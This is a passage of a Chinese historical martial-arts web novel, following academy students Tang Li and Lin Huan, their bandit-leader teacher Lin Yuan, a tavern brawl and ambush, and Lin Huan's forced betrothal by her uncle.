金刚屠更加得意的昂头。他出身微末,现在是“衣锦还乡”,自然要高调张扬,恨不得让所有邓州人都知道金刚屠返乡。
一道红光划过,清脆的巴掌声响彻酒楼。金刚屠愣愣的闭上嘴,而面前的红衣书生正气愤地瞪着他。
尽管矮上对方两头,唐黎也毫不畏惧。
回过味的金刚屠发狠甩出匕首,唐黎鹞子翻身躲闪过去,不仅如此还脚踢匕首使它改变方向朝着金刚屠飞去。
飞身跃上二楼的唐黎一甩袍角立于雕栏处,剑指堂下道:“好大的胆子!敢对唐阁老出言不逊……”话还没说完背后伸过大手捂住她的嘴并将她拉到一旁。
唐黎抬肘就是一击,她听到身后人吃痛的闷哼,但依旧不肯松手。
“别出声。”
这声音?这不是新来的夫子吗?唐黎连忙回头就见蔺渊冲她摇头示意不要出声。
“把那小子给老子揪出来!碎尸万段。”金刚屠的吼声让酒楼震上一震。
二人躲在楼梯的转角处,从堂下跑上楼的人各个拿着刀剑,长得是凶神恶煞,没一个像好人。
好好的酒楼被他们砸的稀巴烂,眼看就要拿人撒气。唐黎明知是自己的过错,不该让店家承担,她不顾蔺渊的阻拦直接站了出来。
“行了,别嚎了。打你的是我,有气冲我来。”唐黎理着衣摆的褶皱,信步而来。
“为何打我?”金刚屠问出他这辈子都不曾问出的问题。毕竟以往都是他无理由的欺负别人。
“看你不顺眼喽。”唐黎没有半分退让甚至还在挑衅。壮汉气得青筋暴起,似乎下一刻就能将唐黎撕成两半。
事情发展成如今地步,蔺渊无奈到扶额叹气。
这姑娘冲动就算了,胆子怎么还这般大?
这壮汉在江湖上大有名号,曾一夜屠杀三十几口人,是个杀人不眨眼的土匪,道上人称其为金刚屠。
至于唐黎,她心中已有破解之法。打架嘛,也是要动脑子的。对方块头大,定比不过我身形敏捷。只要离开酒楼到外边去,广阔天地下还不是我想打就打,想溜就溜。
她掐着腰,昂着头,指着酒楼外道:“有本事咱们出去单挑,别祸害人家酒楼。”
喝醉的壮汉不以为然,欣然答应唐黎的要求。
比唐黎更紧张的是蔺渊,怎么说也是他的学生,方才又打过照面。而且金刚屠是白虎山特意引过来的,若学生真出了事,自己多少脱不掉干系。
蔺渊满眼担心的跟出酒楼。唐学子的身手是见识过,姑且算位高手吧。就算她能敌金刚屠,但是这类流氓泼皮的从不讲武德,哪里会真跟你一对一的单挑。
等那些喽啰一窝蜂的涌来,一套王八拳下来才不管你是什么武功盖世,
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只剩挨打的份儿。
不过......
怎么感觉这位唐学子看起来过于兴奋,她的兴奋好似大于该有的恐惧。
瘦弱书生挑战大块头醉汉,这是多好的一出戏啊。很快酒楼上上下下堆满人,伸长脖子看热闹。
时臣回酒楼时正赶上这大热闹,他扒开人群朝着最前面挤去,费死了劲儿才挤到蔺渊身旁。
他搭上蔺渊的肩头分享刚得来的信息:“您说巧不巧,这厮当年屠顾家三十二口,而今日顾家遗孤便是邓州城的守城将军。依我看金刚屠今天死定了。”
“顾平安?”蔺渊想到前几日抓自己的那位小将。
“我就知道您记得他。本来顾平安不当值的,是我故意把消息透给他的。”他递过来一把花生瓜子,真跟看戏般悠闲。
可是顾平安作为朝廷命官,是不可以滥用私刑,更不允许私自诛杀金刚屠,否则这仕途算是走到头了。
“时臣,你……”蔺渊转过身来,想说的话被时臣接下。
“谁让那姓顾的带兵围困当家的,还敢殴打您,将您下狱,我倒要看看他如何忠孝两全。”时臣半眯着眼,颇有玩味儿的审视着这一切,那副模样真不像十五六岁的少年人。
今晚白虎山的精锐本要诛杀金刚屠,一切都已布置妥当,偏偏让唐黎搅了局。如今在酒楼中动手是做不到,好在提前准备兜底计划,深巷中埋伏不少弟兄。
要是能借顾平安的手诛杀此人,又不脏了当家的手,那才是上上策。
蔺渊却对这个想法持反对意见,首先白虎山与金刚屠的恩怨与他人无关,其次,他不想牵连到无辜之人。他也明白时臣算计顾平安是为自己出气,可他蔺渊不仅没记仇,甚至挺钦佩顾平安的处事能力。
猫抓鼠,官捕贼,天经地义,何错之有?
“顾平安也是奉命行事。你何苦算计他。”
时臣冲着蔺渊笑了笑错开话题,指着前面打斗的二人道:“这小子功夫可以啊,还能对上几招。”
唐黎身形灵活,赤手空拳虽对金刚屠造不成重伤,却能躲避对方攻击来保全自己,一时半会吃不了亏。
蔺渊偏过头问道:“各个巷子里的人布置如何?”
“一切都在计划之中。”
“好。”蔺渊微微点头,他弯腰捡个石子朝着金刚屠奋力一扔,却阴差阳错砸到唐黎脑门上。
迎面来的石子让唐黎步伐皆乱,要不是她敏捷,脑袋直接被金刚屠沙包大的拳头砸出个天坑,埋怨的眼神直接射向蔺渊。
蔺渊手一顿,颇为尴尬的缩了下脖子,他本意是想用石子砸金刚屠,从而激怒他来为唐黎解围,可惜准度不够。
时臣见状不解地问道:“怎么?当家的与这小子有仇?”
蔺渊莫不做声,又打出一块石子,依旧与人失之交臂,幸运地是这次谁也没打中。
蔺渊不信邪的捡块稍大的石头,劺足劲扔出去。终于砸中金刚屠的后脑勺,一下子就把对方惹毛了。
凶狠的眸子瞪过来,蔺渊挑衅的一笑撩袍就跑,金刚屠带着手下拔腿就追,徒留唐黎揉着脑门一头雾水。
蔺渊个高腿长,大步朝前甩身后人一大截。他七绕八绕的跑进一处巷子,眨眼的功夫就消失在黑暗中。
8. 衙门口中的蔺渊
金刚屠环顾四周不见任何人影,就连跟在自己身边的小弟都消失的悄无声息。这些巷口仿佛会吃人般,各个黑魆魆的不知前路情况。
乌鸦啼飞而过,阴沉沉的天空像要压下来般莫名的让人心悸。
“给老子滚出来,别装神弄鬼!”他虽骂的凶狠,脚步却是在谨慎的后退。
可还没等走两步,从天而降的渔网就将他笼罩在内。紧接着渔网收紧他被拖到地上。偌大的身躯像条离了岸的大鱼般扭动挣扎,狼狈不堪。
黑暗处走来的人手持长剑,冷漠地看着地上垂死挣扎的大鱼。月光通过扁窄的剑身反射在金刚屠脸上。
金刚屠能感受到来人的杀意,他不由自主的后退,直到背后抵住墙壁已无路可逃。他只能硬撑着,强作镇定的说道:“英雄颇为眼熟,咱们见过吧?”
“白虎山,蔺渊。”他薄唇轻启,表明自己的身份。
金刚屠眼睛猛睁,此刻蔺渊身后已聚集数十人,将巷口挡的严严实实。他这才后知后觉自己是中了圈套,方才那位红衣书生指不定就是白虎山安排的。
......
巷子逐渐被黑暗吞噬,而这时一道清亮的嗓音划过寂静。
“夫子!蔺夫子!”
蔺渊引走金刚屠后,唐黎立马前往衙门报官,随后又折回巷中寻找蔺渊的身影。
“奇怪,卖花的婆婆明明说人是跑进这个巷子里的。”
唐黎揉着红肿的脑门,她来到深巷中环顾左右也不见一个人影。
“夫子!蔺万宗!”
巷子中只回荡着唐黎的声音。越往深处走去就越黑,唐黎没火照明,只能深一步浅一步的摸索前行。
猛然闻到火油的味道,紧接着光亮被火把带了进来。训练有素的士兵们挤巷子,人群中走出位小将拦住唐黎的去路,他道:“方才是你在喊?”
“是我,我在找我家夫子。哦,我们是花洲书院的。”唐黎把自己遭遇的一切都汇报给面前的将军。
越来越多的火把照亮巷子,派出去检查的士兵有了消息,立马折返向长官汇报道:“小顾相公,前面发现具尸体。”
唐黎听后心里漏跳一拍,与顾平安去认尸的路上一直祈祷别是蔺夫子。
虽说没认识几天但好歹也是条人命。说没就没了,心里难受不说就连眼睛也跟着酸楚起来。
带着与案件无关的人本不合规矩,但顾平安见唐黎如此担忧,想必与其夫子感情甚笃便同意一同前往,顺便也能认认尸。
“看看,可是你的夫子?”
死者被人抹喉,死不瞑目的直面而躺。唐黎认出此人是金刚屠身后的喽啰。紧接着一具具的尸体被发现,都搬到唐黎所在的巷子。
金刚屠的手下全部在此,唯独少了金刚屠。
面对这么多的尸体,还都是死于非命,唐黎一时间接受不了,冲鼻的血腥味使她扶着墙角干呕起来。
顾平安递上手帕道:“姑娘不必跟着认尸。还是先回书院等消息吧。”
“你……你怎么知道我是姑娘?”唐黎咳嗽一声接过帕子。
她自认为伪装完美,而且每次都是穿男装见的书肆老板,人家张口闭口都是先生称呼,也不见暴露。
“一目了然。”顾平安背过身去,他懒得解释。
现在的姑娘家都喜扮男装出游,大家见怪不怪,甚至愿意哄着她们叫几声先生、少爷的。年轻貌美的姑娘笑上一笑也是赏心悦目。但现在他没那心情,自然是懒得哄。
唐黎却不愿走,指着地上的尸体道:“顾相公您看他们都是被一击封喉,有刀伤有剑伤,所用武器不同,遇害地点相隔过远,显然是多人所为,是有预谋的。”
顾平安依旧背着身,似乎对唐黎的想法并不在意:“验尸是仵作的活,姑娘别再看了当心做噩梦。”
“小顾相公!”副将大喊一路气喘吁吁的跑来汇报道:“相公快来看看,无头男尸!满地都是血啊!”
无头尸体死状凄惨,浑身都是伤痕,明显生前被虐待。脖颈断裂处平整,只用一击。可见动手之人稳准狠,所用武器不说是削铁如泥,也需是兵器榜上有名的刀剑,不然不可能会造成如此平整的切面。
唐黎实在害怕所以她只看了两眼,便得出以上结论。
顾平安瞥了眼唐黎,轻声笑道:“姑娘是公案话本子看多了吧?未曾上手验尸怎能得出结论?”
被人看轻的唐黎不服气的撇下嘴,她现在没工夫跟顾平安斗嘴。
金刚屠死于非命,和他的那些喽啰一样是被人暗算,这让她想到今晚酒楼那伙行为诡异的人。
“顾相公,请问今晚衙门有安排人在醉仙楼吗?”
“什么?”顾平安没太明白唐黎的意思。但唐黎心里却明白了,果然不是衙门的人,看来这伙人埋伏酒楼等得就是金刚屠。
江湖帮派斗争?黑吃黑?狗咬狗?
“唐学子,看来这里没有你夫子,兴许他已平安回山。阿常,送学子回书院。”顾平安安排道。他一是嫌唐黎碍事,二是怕满地血污给姑娘家家的留下阴影,好心安排人将她送回。
唐黎自然是好奇案件的始末,也清楚顾平安不会让自己留下的,于是就想向阿常打听,她先是唠起家常道:“阿常相公来衙门几年了?”
“学子客气,我只是白衙,还称不得相公二字。”
“那是常兄客气。方才看你临危不乱的样子,哪里像是白役,分明就是衙门的推官相公。”
阿常被捧得有些飘飘然,唐黎顺理成章的套话道:“满巷子的尸体,凶手会是谁啊?还别说,怪渗人的。”
阿常环顾四周靠近唐黎轻声道:“杀人的准是白虎山。心狠手辣的也就土匪干得出来。”
“咱们邓州城里有土匪?”唐黎激动到瞪大眼睛。土匪向来据山为寨,邓州这个大平原并不适合土匪的发展,所以也从未出现过土匪。
“可不是嘛,前几日顾相公还带着咱们抓捕,为此还死了个兄弟。”阿常绘声绘色的讲述起来,反正也不是什么机
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密,就当路上无聊解闷。
“我跟你说,别看那二当家读过几年书,常年做书生打扮,此人可不是什么好鸟。杀人放火那都是小事,抓过路的新娘做压寨夫人,逼父母官冤枉好人,人县令不从直接斩杀县令。
还有呢,听说土匪造反就是他撺掇的,还跟朝廷用上兵法。”
“然后呢?谁赢谁输?”唐黎眨眨眼甚是期待。
阿常咂咂嘴道:“这事不好说。虽说打到土匪闭寨封山,但关西军也没占巧儿,折损一员大将。不仅如此,相传南衙的王统领也是死在此人手中。”
他指着身后巷子道:“方才学子分析的无误,我敢断定金刚屠的脑袋就是这位二爷砍的,他惯用的武器便是把削铁如泥的宝剑。”
“这土匪的武功很高吗?”
阿常假装从腰间拔剑道:“他的剑快到无影,但凡见过他出剑的人都已经死了。你想想武功不高怎么镇场子?不然你以为土匪那么好混的?还能混到第二把交椅?如今雷正死了,这第一把交椅就成他蔺渊的。”
等等......
蔺渊?姓蔺!
这么巧的嘛?
新来的夫子也姓蔺。也不怪唐黎将二者联系起来,这前后时间点都对的上。
不同的是夫子并没有武功傍身,否则我那脚但凡练过些功夫的都能躲开。又想到方才解围飞来的石头子,只感觉脑门处的红肿隐隐作痛,唐黎抬手揉了揉,心里抱怨着:“看不准就瞎扔,疼死了。”
这边唐黎悠哉地听着故事,另一边的顾平安派人搬走尸体,清洗街道,忙活整整一个晚上。
这种骇人听闻的事件必须要压下来,不能扰乱一片祥和的邓州城。
“怎么样,处理的如何?”顾平安打了个哈切道。
“衙门里派了三班捕快帮忙,天亮前都能处理妥当。”
“替我谢过衙门的兄弟,从我的俸禄里支些银子请兄弟们喝酒。”
“多谢小顾相公。”副将拱手行礼,打算把这个好像消息告诉大家。顾平安注意他手中的书,叫停他道:“手里拿的什么?”
“酒楼地上的书,属下看了两眼没什么线索,就是普通的公案话本子。”
顾平安接过来,只看上两眼眸子瞬间亮上几分,他拉过下属就问:“快去查查这书是哪间书肆售卖的,作者是谁?”
下属虽不知道上官为何如此激动,但还是认真接下此任务。
“等等,明天再查吧。让兄弟们先回去休息。”
“是!”属下高声领命,没有什么比碰到一位体贴下属的上官更好的事情。
顾平安的困感早已烟消云散,他皱着眉头盯着手中的书本,那里写着四个大字——梅花针案。
这根本不是普通的话本子,分明是行案卷宗。讲述的是十年前京城的一桩连环杀人案。
要知道此案结案后便已封存,就连自己都没有借调的权力。作者竟知晓细枝末节,且行文逻辑严谨,定是看过卷宗之人,此人来头不小。
9. 授课的蔺夫子
“咯咯咯~”
山中的鸡叫的早,一声鸡鸣后蔺渊缓缓睁眼,他茫然地看着屋内的陈设,突然有种在梦境中的感觉。
太不真实。
孔子的画像挂在正中,慈眉善目的望着床上之人。蔺渊却不敢看向画像,他心虚到低下头,长吁一口气整理好心情。来到镜子前一遍遍的强调道:“记住你是花洲书院的夫子。”
夫子崭新的一天就此开始。
蔺渊推门就见苏天赐在庭院中打着拳。小小年纪打的刚柔并济,还挺像那么回事。
“不错。”蔺渊欣赏一会儿便由衷的夸奖道。
“见过夫子,您也会拳脚功夫?”被夸奖的苏天赐十分开心。
“不会。”蔺渊捋了捋胡子道:“不过,我想拜天赐为师跟你学功夫,如何?”
“这不合规矩。夫子是我的师父,岂能拜我为师。”
“诶,三人行必有我师。天赐的拳打的这般好,那理应是师父。还是说小苏师父嫌我笨,不愿教我?”他拢拢袖子故意做个委屈的表情。
苏天赐连忙摆手道:“不是的。夫子想学,弟子必定全力以赴。”
“好的,小苏师父。”蔺渊恭敬的行个礼,唬得苏天赐连忙还礼。
蔺渊得意的挑了下眉,再聪慧也不过是个少年人。要是哄不了你,枉我比你多活十几年的光阴。
这一早上苏天赐被蔺渊小师父长,小师父短的哄着,导致苏天赐有些飘的摸不到北。
“夫子,咱们该去学堂了。”苏天赐奉上衣服道。
钟声响起,学堂上的学子纷纷起身迎接夫子。十八斋比较特殊,拢共就五名弟子,跑了个上官竹,请假个贾复。今日更是少的可怜。
蔺渊在上面讲着学,底下的弟子们各干各的。苏天赐画着符,唐黎写着话本子。本来林焕是个爱听讲的好孩子,可如今讲学的是个土匪头子,她只好趴在桌上假装自己不存在。
“林焕。”
听到蔺渊叫自己的名字,她连忙直起身子,拿笔的手都在微微颤抖。
蔺渊径直走过来道:“礼记有云,人一能之,己百之;人十能之,己千之。果能此道矣,虽愚必明,虽柔必强。林焕你来说说,此话何意呀?”
“我…”林焕低下头,有些害怕的往后错几步。
唐黎特别讲义气的起身道:“此问学生来答。”
蔺渊抬手制止她,对林焕放柔了音调:“没关系,知道什么便答什么。”然后便背过身去耐心等待林焕发言。
林焕扣着手,磕磕巴巴的回答道:“学……学生答,他人用下一分功夫,我就要用下百分功夫,他人用十分功夫能掌握的,我就要下一千分功夫。只要日复一日的坚持下去,就算资质再愚笨也会的变得慧智,就算再柔弱也会强大起来。”
蔺渊微笑的点点头道:“道理说的很明白嘛。”
唐黎狐疑的眼神上下扫视着夫子,此人循序渐进是想激励林焕?这般引经据典的未免有些太婉转了吧?都不考虑林焕听没听懂的嘛?
蔺渊迎上那审视的目光道:“唐学子,身为学子不该对夫子用这般眼神。”
“学生不敢。”唐黎表面颔首恭顺有礼,心里却嘟囔着:“还敢训斥我,昨晚砸我脑袋的账还没算呢。”
蔺渊继续对林焕道:“听闻你善算学,除了心算,还能一毫不差的将那不规则的田地测算出来。”
“是。”林焕依旧低着头。
“是个聪慧的孩子。我有两句话送给你。众人纷纷何足竞,是非吾喜非吾病。乃知轻重不在彼,要之美恶由吾身。”
他用书本轻拍下林焕的肩头道:“坐下吧。别趴在书案上,学习要有学习的态度。”
“是。”林焕行礼坐下,垂着眸还在消化蔺渊的话。
正如唐黎所想,啊啊啊!林焕就是没听懂!
蔺渊路过苏天赐时,用唇语唤了声小师父,苏天赐的眼睛瞬间亮了亮,他将符纸收起来也坐直身子听讲。
“咳咳,那我们便继续,所谓大道之行……”
三名学生收拾两位,剩下的那位正怀抱胳膊死死盯着夫子。蔺渊注意到唐黎的眼神,眼尾上挑冲她微微笑着,从容的继续授课。
待下学的钟声响起,众人恭送夫子离开,唐黎面色凝重视线依旧盯着讲台。她还在思索昨晚夫子拉住自己是为何?
他想为我解围是真,认识金刚屠也是真。
究竟什么样的人才会认识此等恶人?
“你发什么呆呢?”林焕指着她脑门的红肿道:“等下午休沐我拿着鸡蛋给你敷一敷,估摸着明天就不红了。”
“多谢,其实也没多疼。”唐黎抬眸笑了笑。
林焕回以微笑,只是笑得有些勉强,看起来心不在焉的。
姐妹俩各自怀有心事,而林焕的心事则是杜学官。那位替她下山报告土匪事件的学官还未回山。
对于此事她一直揪着心,毕竟蔺渊威胁的话还回荡在耳边,衙门不会为了掩护土匪真把杜学官处理掉了吧?
这回换唐黎开口问道:“还说我呢,你又再发什么呆?”
林焕怕带累到唐黎便隐瞒此事,岔开话题道:“上官竹三天没来,我有点担心他。”
二人齐齐看向前面空置的座位陷入沉思。
唐黎率先打破平静道:“那咱们就去找他!正好下午休沐。”
是啊,花洲书院逢九便休,只是……没几位会真的休沐。
各斋的夫子皆会留守课堂为学子们解疑答惑。蔺渊也不例外,吃过午饭便早早来到学堂。
可这一等就是一个时辰。
听着其他斋传来的朗朗读书声,蔺渊面对空无一人的学堂,觉得自己要生出不少白发来。
“亏我还连夜准备这么多的讲义。唉。”蔺渊捂脸忍不住叹气,不过他也是有心理准备的。
毕竟十八斋特殊嘛,可以原谅。
真的可以原谅……吗?
蔺渊不经意间已经将讲义搓成纸球,最后还是默默展开纸球说服自己莫要生气。
生气伤肝。
生气伤身。
生气伤.....
“蔺夫子。”苍老的声音响起,山长笑眯眯的捋着花白胡子。
“蔺夫子刚来书院三日便如此勤勉啊。”对于新来的这位夫子,他是越看越喜欢。
如今朝廷重视科考,每州每县都设立书院,慢慢地花洲书院逐渐没落,实力大不如前。各大学院都以名师来吸引学子,而这位蔺夫子曾是位进士,花洲书院能请进士来任夫子,山长自然是眉笑颜开。
“万宗阿,听说你是同正三十五年的进士,同科的蔡嘉你可认识?”
蔺渊回忆一番,回答道:“有所耳闻却不太熟悉。当年蔡兄为二甲第一入了翰林院,我呢便入了府衙。现如今蔡兄定是平步青云,入了内阁吧?”
“他是老夫的学生,今年刚入内阁,集贤殿直学士。”山长颇为骄傲的介绍着。
蔺渊恭维的夸赞几句,主要是夸山长名师出高徒。山长很是受用的捋胡子,笑着道:“万宗在京中任过官,是见过大世面的。今日老朽有一事相求。”
“折煞学生,山长请讲
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,学生定当全力以赴。”
“咱们花洲书院虽闻名于世,可这帮学子们没几个去过京城,科举在即,我想让万宗陪学子们入京应试。”
“这....”蔺渊犹豫一二,推辞道:“学生才入书院实在难担此大任,山长莫要拿我开玩笑。”
“老夫都与京城那边打好招呼,内阁的蔡相公,大理寺的汪相公,京兆尹的李相公,礼部的燕相公。他们都在学院求过学,会为学子们安排好食宿。你正好也可回京与同僚叙叙旧。”
蔺渊有些尴尬的笑了笑,自己若是回京怕是只能与天牢叙旧。不过他还是应承下来,毕竟明年的自己早已离开书院。
山长连说三个好,紧接着又拉着蔺渊细数花洲书院的辉煌。
一个时辰转瞬即逝,山长都离开许久,十八斋的学子依旧未出现一位。
蔺渊选择放弃,有这功夫儿干点什么不好?寓所的那些新笔还没开笔,正好试试那套颜料如何。
回到寓所时正巧碰到苏天赐在廊下看书,蔺渊脚步快上几分上前质问道:“你既无事,为何不去学堂?”
“不是休沐吗?”苏天赐仰起头一脸天真无害的反问道。
“是休沐没错。可你看看这书院中有谁放松?不都是继续在学堂中努力,你这副样子如何过府试?”蔺渊现在的夫子味是越来越重。
“学生已经过了府试呀。”苏天赐眨眨眼看向蔺渊。
“……”蔺渊顿时哑口无言,他坐在廊下吹着凉风,泄了气般自我怀疑:“我授课很差吗?”
“中规中矩。”
蔺渊摇头苦笑,这孩子当真是个老实人,恭维的话都不会说。
也罢,中规中矩总比让人听不下去的好。
见蔺渊这副模样苏天赐歪歪头,像是想到什么。
“哦,学生明白了,夫子是在生气十八斋的学子们没去学堂?”他朝着蔺渊挪上几步道:“夫子错怪唐黎和林焕了,她们下山是去劝上官竹回书院的。”
经过苏天赐的提醒,蔺渊才想起来自己还有这么个学生。
不过上官竹留下来的印象并不好。
拿弓弩射夫子,与学官斗狠又口出狂言,离谱的是这些荒唐事还是他一天所为。
日子长了指不定惹出什么祸端来。
“其实上官竹没那么不堪。”苏天赐想为好兄弟找补,他指着寓所的牌匾道:“那便是上官竹的字。”
蔺渊抬头望去,点评道:“行笔讯起急收,转折处多以侧峰取势,又纵横倚斜,错落有致。难得的是不缺少年人的朝气。”同时也发出疑惑道:“肯在字上下功夫,就不该是这副混不吝的模样。”
“上官竹的启蒙先生是墨家传人,自小喜爱机关术。奈何他父亲觉得这是玩物丧志,没收他一切工具将他扔到书院。去年府试要不是写文章骂考官,以他前两科的成绩绝对能过。”
“他真的在府试时写文章骂考官?”蔺渊来了兴趣。这么看上官竹倒是个趣儿人,做了自己年少时想做之事。
“不清楚,我也是听几位学官说的。”苏天赐继续低头看书,院中慢慢安静下来只剩落叶扫过庭院的沙沙声。
蔺渊背靠着廊柱坐看风涌云动,难得有机会放空自己。深吸一口气山中清新的空气让他心旷神怡。缓缓闭上眼睛,静静感受着那份宁静和舒畅。
这时苏天赐的声音传来道:“夫子若是无事何不去寻一寻上官竹?”
“谁说我没事?”蔺渊表情有些不自然,可能是怕苏天赐看出自己真的没事可做,他干脆站起身活动了几下筋骨转身朝屋里走去。
10. 她是我的学生
夕阳西下,邓州的街道上开始变得冷清,做小买卖也开始收摊,大家忙着回家只有少数人在外游荡,唐黎与林焕就在其中。
“这个上官竹到底跑哪里去了?到处找不到他。”唐黎掐着腰,已经盘算好找到上官竹后要如何处置。
林焕看了眼天色,提醒唐黎时候不早道:“快关山门了。”
“最后一圈,咱们分头去寻,我往北。”唐黎大步向前,她主要寻找的点是酒楼茶馆,上官竹出身富贵定不会委屈自己,此刻没准缩在哪个酒楼喝酒呢。
面前正是邓州最大的酒楼——万风楼。抬眸望去也不是没有收获,上官竹虽然没瞅见,竟让唐黎看到夫子蔺万宗。
这位新来夫子似乎很喜欢逛酒楼,而且他在邓州的朋友还真不少,日日都有酒局。
蔺渊最后听从苏天赐的建议下山。苏天赐说的没错,上官竹是十八斋的学子,自己身为夫子便拥有监管他的责任。
就这样今日颇受打击的蔺夫子找到个挽尊的法子,劝上官竹回书院读书。劝学也是能体现一位夫子的价值。但是他对邓州不熟悉,便想找滞留于邓州的兄弟们打探一二。
“哥哥这身行头也忒像回事。你瞧瞧,这胡子,这长衫,这身段,谁见了不称一声夫子。”大汉起身拱手扭捏作态道:“见过蔺夫子。”
对于兄弟的打趣,蔺渊摇头笑笑道:“石泰,你少耍乖。”
“朝廷为何突然停止围剿白虎山?哥哥到底用了什么法子?”瘦猴般的男子好奇道。
“围剿只是暂停,朝廷是不会放弃围剿的。”
石泰灌口酒,十分不屑的说道:“老子才不怕那些鸟兵。来一个我砍一个,来两个我砍一对。”
“石头,你又犯浑是不是?”蔺渊脸色严肃起来,唬得石泰不由得摆正姿态。
一旁的瘦猴插话道:“石兄弟说的没错,如今光武山,梨花山纷纷投奔咱们,正是聚义的好机会。”
蔺渊笑了笑,没有顺着对方的话说下去,抿了口茶才开口道:“怎么没见时臣?”
“那小子背着金刚屠的脑袋回山去,说是要请青观的道士给大哥做法事。”
“他有心了。那你们几个为何还留在邓州没一起回去?”
瘦猴继续充当兄弟们的发言人道:“我们不放心哥哥,就想着再多陪你几天。”
“多谢。”蔺渊敬杯茶表示自己的谢意。不过还是劝着弟兄们快些回山。
“哥哥放心,过几天我们就走,绝对不给您添麻烦。”
得到保证的蔺渊满意地笑了笑,他道:“打听个事,这几天可曾见到我们书院的学子。少爷脾气,面皮白净,个头挺高,不爱好好束发,惯用机关术。”
“我这就帮哥哥去打听。”瘦猴安排完手下后,从怀里掏出个锦盒道:“哥哥当了夫子,做兄弟的也没什么好送的,听说这笔不错……”他怕蔺渊不收,说话的声音越来越小。
“这紫毫确实不错。”蔺渊笑着收下毛笔。众兄弟见状纷纷拿出自己的礼物。
“哥哥,看这大砚台,得有二十斤重。”石泰展示着自己的礼物。
“未免有些大了。”蔺渊实在怕自己背不动,半路再压死在山路上。
“不大不大。这可是镇店之宝,店家当时说什么也不卖的。我可是……”他见蔺渊审视着自己,憨厚的笑道:“哥哥放心,我又多出了十两银子,可没抢那老头的,他真是自愿卖的。”
听到这蔺渊这才放心,那边石泰还在说着:“老头说了,文人之有砚,犹如美人之有镜也。你看这砚台果然和镜子一般大。”
“那话是这意思吗?让你平时看点书……”
石泰不听蔺渊的絮叨,把大砚台拼命的往包裹里塞,突然他手中的动作一顿,眼神直勾勾望着楼下。
“奶奶的,刚提美人就来了美人,这地方女子长的可真够劲儿。”他也不装砚台,趴在窗口盯着楼下的女子。
瘦猴打趣道:“这石头,以往不是说女人没意思嘛,如今眼睛都看直了。”
满脸麻子的人挤到窗口,感叹道:“还真别说,石泰的眼光真不错。这妞长的是挺美的。就那小腰,咱们一手就能握住了。”
“咳咳。”长相略显端正的男人咳嗽两声示意大家收敛点,没看到二当家的脸都黑了嘛。
机灵的瘦猴率先反应过来,给蔺渊倒酒道:“南省水土就是好,姑娘出落的真水灵,我们就是看看,看看而已。”
石泰推开他,挤到蔺渊身边:“哥哥,真不是我唬你,那女子真漂亮,比咱们山上的武娘子还要美上十倍,不信哥哥瞧瞧去。”
蔺渊顺着石泰指的方向看去,楼下的那位红衣女子不是别人正是唐黎。
石泰还在幻想:“若是得了这么个婆娘,老子怕是要日日赖在床上,是不是,哈哈哈哈。”
一群人就着黄段子笑的前仰后合,蔺渊的声音淡淡传来:“她是我的学生。”
笑声戛然而止,气氛变得尴尬起来,众人或低头夹菜,或闷声喝酒。石泰有些局促,他横跨一步远离窗户立刻坐回到座位上。
“是学生阿……哈哈。”石泰尴尬的笑笑,他端起一杯酒道:“哥哥的学生,那就是我石泰的侄女。哥哥放心,日后只要有我在,就没人欺负咱家闺女。”
“那到不必,离她远点就行。”蔺渊接过他的酒,算是原谅石泰的莽撞。
楼下的唐黎并未多留继续向北寻去。朝南走的林焕却被街坊叫停脚步。
“换娘,你下山够快的呀,你舅不是才让人去上山寻你。”
“寻我?”
“你不知道啊,你爹又犯病啦!”
林焕来不及细问急忙的往家跑去。眼看还有一个巷子就要到家,林焕察觉到身后有人跟踪,她加快步伐转向朝着人多的大街走去。
身后的步伐也随之加快,可惜林焕没能走出巷子,巷子头尾分别被四五个男子围住。
“换娘,你跑什么?”
“表……表舅。”林焕紧靠墙壁,看她那模样挺怕这位表舅的。
“看看我这外甥,越发出落标致。这是要回家?”
林焕点点头。
“你家欠的银子什么时候还啊?三年了,利银都快比本金多。我刚才给你娘商量,说是把猪肉铺兑了抵债,可是她不愿意。”
林焕立马扭头看向巷子的尽头,那是家的方向
“你把我娘怎么了?”
“她是我姐,我能怎么她?不过是敲打几下你爹。”他从袖口掏出一张纸来道:“我知道你家是靠猪肉铺为生,不卖铺子也可以。签了这个一笔勾销。”
林焕接过来,还没读完内容就气的脖子都红了,直接将它撕得粉碎。
“换娘啊,你该庆幸自己在书院念过几年书,不然彭员外哪里会讨你去续弦,怕是连妾都不配做。”
“彭员外比我爹的岁数都大!”气急的林焕猛地将表舅推倒在地转身就跑。
“快!追上她。”他起身掸掸衣服道:“这丫头满身的牛劲儿。”
四五个泼皮堵住林焕的去路,任凭林焕劲儿再大,可她不会武功又被泼皮抓了回来。
“摁着她手,画个押就行。”
林焕挣扎着死活不愿签婚书,她表舅蹲了下来:“你爹其实没有犯病,他是诓你下山的。”
林焕不可置信的抬眸。就听她表
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舅娓娓道来:“世道难,你爹的病得用钱医,他又舍不得卖掉猪肉铺,只能舍了你。”
“胡说!我爹不会的。还有我娘,我娘送我去念书,她是希望我能当上女吏的。”林焕声音越来越小,语气里也充满不自信。
“这都多少年了,咱们县里可曾出过一位女官?一位女吏?京城那般繁华的大城才有女官的。换娘,你能不能考虑下现实,像你这般大的姑娘早就嫁人,孩子都能打酱油。而你呢,吃家里的,用家里的,这不是给你爹娘平增负担嘛?”
林焕耷拉着脑袋,这一刻她竟然觉得表舅说得有理。
对方继续说道:“你能保证今年能过府试?你能保证过了府试就能过院试,会试?就一定能到县衙任职?这些关节哪里不需要银子。你有钱吗?”
见林焕动摇了,他表舅示意泼皮们放开林焕,颇有长辈的模样语重心长的道:“彭员外是年龄大点,但你嫁过去是正房,他家那么大的产业可都在你手中,只要你掌握住了,下辈子吃喝不愁啊。到时候舅舅还得靠你来帮衬,是不是?”
林焕微微摇头,表舅的诡辩只能迷惑一时,她很快就明白过来。这样的混混向来是认钱不认人的,定是在员外那夸下海口,威逼利诱也没能得到父亲母亲的首肯,才着急逼我来签婚书,
林焕盯着婚书上自己的名字,一字一句的说道:“我不叫换娘,我叫林焕。”
“什么?”表舅没明白她的意思,又问了一遍。
“我相信我爹娘,他们是不会卖我的。你少哄我!”林焕抓着婚书就将它撕得粉碎。
表舅也不装了,露出凶恶的一面抬手就给林焕一巴掌。
“敬酒不吃吃罚酒,婚书老子多得是,你们几个按住她,我就不信今儿画不了押!"
林焕被几个泼皮按在地上,她挣扎两下根本无济于事。她想要呼救可嘴却被捂住。直到拇指摁在婚书上,泼皮才松开林焕。
表舅得意洋洋的举着婚书道:“聘礼明日就会到你家,书院你也不用回了,安心待嫁吧。”
